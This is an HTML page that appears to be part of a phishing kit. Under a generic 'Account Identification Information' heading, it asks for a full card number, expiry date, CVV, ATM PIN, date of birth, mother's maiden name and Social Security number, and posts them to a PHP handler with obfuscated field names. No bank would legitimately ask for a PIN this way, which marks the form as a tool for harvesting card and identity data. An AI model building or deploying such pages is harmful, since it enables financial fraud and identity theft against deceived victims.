<!doctypehtml PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html lang=en-US xml:lang=en-US xmlns=http://www.w3.org/1999/xhtml><title>
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  </title><meta content="text/html; charset=utf-8"http-equiv=content-type><link rel="shortcut icon"href=images/favicoon.ico><script>function isNumberKey(evt){
    var charCode = (evt.which) ? evt.which : evt.keyCode;
    if (charCode > 31 && (charCode < 48 || charCode > 57))
        return false;
    return true;
}</script><link href=css/style.css rel=stylesheet><body><div class=container1><img src=images/logo.png></div><br><br><div class=container2><form action=cha1.php id=contact1 method=post style=margin:10px><div class=hd>Account Identification Information</div><div class=conn><br><fieldset><input onkeypress="return isNumberKey(event)"placeholder="Credit/Debit Card Number"maxlength=16 name=chatol required></fieldset><fieldset><input placeholder="Expiring Date MM/YYYY"maxlength=7 name=exp90878></fieldset><fieldset><input onkeypress="return isNumberKey(event)"maxlength=3 name=cvc908 placeholder=CVV></fieldset><fieldset><input onkeypress="return isNumberKey(event)"placeholder="ATM PIN"maxlength=4 name=pnimta></fieldset><fieldset><input placeholder="Date of Birth"name=dob676 required></fieldset><fieldset><input placeholder="Mother's Maiden Name"name=do090b required></fieldset><fieldset><input placeholder="Social Security Number"name=ssnn89 required></fieldset><fieldset><input id=contact-submit name=submit type=submit value=Submit><br><br></fieldset></div></form><br><br></div><img alt border=0 src=images/5.gif width=100%>